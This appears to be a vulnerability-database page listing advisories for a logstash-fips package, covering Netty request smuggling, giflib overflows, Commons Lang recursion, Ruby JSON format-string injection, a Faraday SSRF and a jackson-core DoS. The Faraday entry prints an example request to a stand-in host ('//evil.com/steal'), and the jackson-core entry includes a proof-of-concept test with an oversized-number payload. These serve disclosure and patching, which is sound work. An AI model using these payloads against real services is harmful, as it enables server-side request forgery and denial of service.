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Vulnerability from cleanstart
Published
2026-04-09 00:53
Modified
2026-04-08 08:11
Summary
Netty is an asynchronous, event-driven network application framework
Details
Multiple security vulnerabilities affect the logstash-fips package. Netty is an asynchronous, event-driven network application framework. See references for individual vulnerability details.
Severity
9.8 (Critical)
References
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CVE-2024-45993 (GCVE-0-2024-45993)
Vulnerability from cvelistv5 – Published: 2024-09-30 00:00 – Updated: 2024-09-30 18:41
VLAI
EPSS
Summary
Giflib Project v5.2.2 is vulnerable to a heap buffer overflow via gif2rgb.
Severity
6.5 (Medium)
CWE
- n/a
Assigner
References
2 references
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CVE-2025-31344 (GCVE-0-2025-31344)
Vulnerability from cvelistv5 – Published: 2025-04-14 07:49 – Updated: 2025-04-14 13:39
VLAI
EPSS
Title
The giflib open-source component has a buffer overflow vulnerability
Summary
Heap-based Buffer Overflow vulnerability in openEuler giflib on Linux. This vulnerability is associated with program files gif2rgb.C.
This issue affects giflib: through 5.2.2.
Severity
7.3 (High)
CWE
- CWE-122 - Heap-based Buffer Overflow
Assigner
References
Credits
Jiaxuan Song(m202372152@hust.edu.cn)
bale.cen (cenxianlong@huawei.com)
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CVE-2025-48924 (GCVE-0-2025-48924)
Vulnerability from cvelistv5 – Published: 2025-07-11 14:56 – Updated: 2025-11-04 22:06
VLAI
EPSS
Title
Apache Commons Lang, Apache Commons Lang: ClassUtils.getClass(...) can throw a StackOverflowError on very long inputs
Summary
Uncontrolled Recursion vulnerability in Apache Commons Lang.
This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.
The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a
StackOverflowError could cause an application to stop.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
Severity
No CVSS data available.
CWE
- CWE-674 - Uncontrolled Recursion
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://lists.apache.org/thread/bgv0lpswokgol11tl… | vendor-advisory |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache Commons Lang |
Affected:
2.0 , ≤ 2.6
(maven)
|
|
| Apache Software Foundation | Apache Commons Lang |
Affected:
3.0 , < 3.18.0
(maven)
|
Credits
OSS-Fuzz Issue 42522972
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CVE-2026-26740 (GCVE-0-2026-26740)
Vulnerability from cvelistv5 – Published: 2026-03-18 00:00 – Updated: 2026-03-18 18:44
VLAI
EPSS
Summary
Buffer Overflow vulnerability in giflib v.5.2.2 allows a remote attacker to cause a denial of service via the EGifGCBToExtension overwriting an existing Graphic Control Extension block without validating its allocated size.
Severity
8.2 (High)
CWE
- n/a
Assigner
References
1 reference
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CVE-2026-33210 (GCVE-0-2026-33210)
Vulnerability from cvelistv5 – Published: 2026-03-20 22:57 – Updated: 2026-03-23 21:41
VLAI
EPSS
Title
Ruby JSON has a format string injection vulnerability
Summary
Ruby JSON is a JSON implementation for Ruby. From version 2.14.0 to before versions 2.15.2.1, 2.17.1.2, and 2.19.2, a format string injection vulnerability can lead to denial of service attacks or information disclosure, when the allow_duplicate_key: false parsing option is used to parse user supplied documents. This issue has been patched in versions 2.15.2.1, 2.17.1.2, and 2.19.2.
Severity
CWE
- CWE-134 - Use of Externally-Controlled Format String
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/ruby/json/security/advisories/… | x_refsource_CONFIRM |
Impacted products
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CVE-2026-33870 (GCVE-0-2026-33870)
Vulnerability from cvelistv5 – Published: 2026-03-27 19:54 – Updated: 2026-03-31 13:55
VLAI
EPSS
Title
Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Summary
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Versions 4.1.132.Final and 4.2.10.Final fix the issue.
Severity
7.5 (High)
CWE
- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://w4ke.info/2025/06/18/funky-chunks.html | x_refsource_MISC |
| https://w4ke.info/2025/10/29/funky-chunks-2.html | x_refsource_MISC |
| https://www.rfc-editor.org/rfc/rfc9110 | x_refsource_MISC |
Impacted products
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GHSA-33MH-2634-FWR2
Vulnerability from github – Published: 2026-02-09 20:37 – Updated: 2026-02-13 17:16
VLAI
Summary
Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
Details
Impact
Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
ruby
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com
Patches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
ruby
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
user_input
end
Severity
5.8 (Medium)
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],
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"github_reviewed_at": "2026-02-09T20:37:05Z",
"nvd_published_at": "2026-02-09T21:15:49Z",
"severity": "MODERATE"
},
"details": "### Impact\n\n Faraday\u0027s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby\u0027s\n `URI#merge` to combine the connection\u0027s base URL with a user-supplied path. Per RFC 3986,\n protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n that override the base URL\u0027s host/authority component.\n\n This means that if any application passes user-controlled input to Faraday\u0027s `get()`,\n `post()`, `build_url()`, or other request methods, an attacker can supply a\n protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n `/`, so protocol-relative URLs bypass it entirely.\n\n **Example:**\n ```ruby\n conn = Faraday.new(url: \u0027https://api.internal.com\u0027)\n conn.get(\u0027//evil.com/steal\u0027)\n # Request is sent to https://evil.com/steal instead of api.internal.com\n ```\n\n### Patches\n\n Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n Applications should validate and sanitize any user-controlled input before passing it to\n Faraday request methods. Specifically:\n\n - Reject or strip input that starts with // followed by a non-/ character\n - Use an allowlist of permitted path prefixes\n - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n Example validation:\n ```ruby\n def safe_path(user_input)\n raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n user_input\n end\n ```",
"id": "GHSA-33mh-2634-fwr2",
"modified": "2026-02-13T17:16:36Z",
"published": "2026-02-09T20:37:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25765"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/pull/1569"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"
},
{
"type": "PACKAGE",
"url": "https://github.com/lostisland/faraday"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v1.10.5"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v2.14.1"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
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}
GHSA-3M6G-2423-7CP3
Vulnerability from github – Published: 2026-03-19 12:45 – Updated: 2026-03-25 18:24
VLAI
Summary
Ruby JSON has a format string injection vulnerability
Details
Impact
A format string injection vulnerability than that lead to denial of service attacks or information disclosure, when the allow_duplicate_key: false parsing option is used to parse user supplied documents.
This option isn't the default, if you didn't opt-in to use it, you are not impacted.
Patches
Patched in 2.19.2.
Workarounds
The issue can be avoided by not using the allow_duplicate_key: false parsing option.
Severity
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "json"
},
"ranges": [
{
"events": [
{
"introduced": "2.18.0"
},
{
"fixed": "2.19.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "json"
},
"ranges": [
{
"events": [
{
"introduced": "2.16.0"
},
{
"fixed": "2.17.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "json"
},
"ranges": [
{
"events": [
{
"introduced": "2.14.0"
},
{
"fixed": "2.15.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33210"
],
"database_specific": {
"cwe_ids": [
"CWE-134"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T12:45:53Z",
"nvd_published_at": "2026-03-20T23:16:46Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA format string injection vulnerability than that lead to denial of service attacks or information disclosure, when the `allow_duplicate_key: false` parsing option is used to parse user supplied documents. \n\nThis option isn\u0027t the default, if you didn\u0027t opt-in to use it, you are not impacted.\n\n### Patches\n\nPatched in `2.19.2`.\n\n### Workarounds\n\nThe issue can be avoided by not using the `allow_duplicate_key: false` parsing option.",
"id": "GHSA-3m6g-2423-7cp3",
"modified": "2026-03-25T18:24:34Z",
"published": "2026-03-19T12:45:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/json/security/advisories/GHSA-3m6g-2423-7cp3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33210"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/json"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/json/CVE-2026-33210.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ruby JSON has a format string injection vulnerability"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-04-07 16:30
VLAI
Summary
jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Details
Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-04-07T16:30:17Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
GHSA-J288-Q9X7-2F5V
Vulnerability from github – Published: 2025-07-11 15:31 – Updated: 2025-11-05 20:30
VLAI
Summary
Apache Commons Lang is vulnerable to Uncontrolled Recursion when processing long inputs
Details
Uncontrolled Recursion vulnerability in Apache Commons Lang.
This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.
The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.commons:commons-lang3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "commons-lang:commons-lang"
},
"ranges": [
{
"events": [
{
"introduced": "2.0"
},
{
"last_affected": "2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48924"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-12T00:48:03Z",
"nvd_published_at": "2025-07-11T15:15:24Z",
"severity": "MODERATE"
},
"details": "Uncontrolled Recursion vulnerability in Apache Commons Lang.\n\nThis issue affects Apache Commons Lang: Starting with\u00a0commons-lang:commons-lang\u00a02.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before\u00a03.18.0.\n\nThe methods ClassUtils.getClass(...) can throw\u00a0StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could\u00a0cause an application to stop.\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.",
"id": "GHSA-j288-q9x7-2f5v",
"modified": "2025-11-05T20:30:31Z",
"published": "2025-07-11T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924"
},
{
"type": "WEB",
"url": "https://github.com/apache/commons-lang/commit/b424803abdb2bec818e4fbcb251ce031c22aca53"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/commons-lang"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/bgv0lpswokgol11tloxnjfzdl7yrc1g1"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00000.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00026.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00032.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00036.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/07/11/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Commons Lang is vulnerable to Uncontrolled Recursion when processing long inputs"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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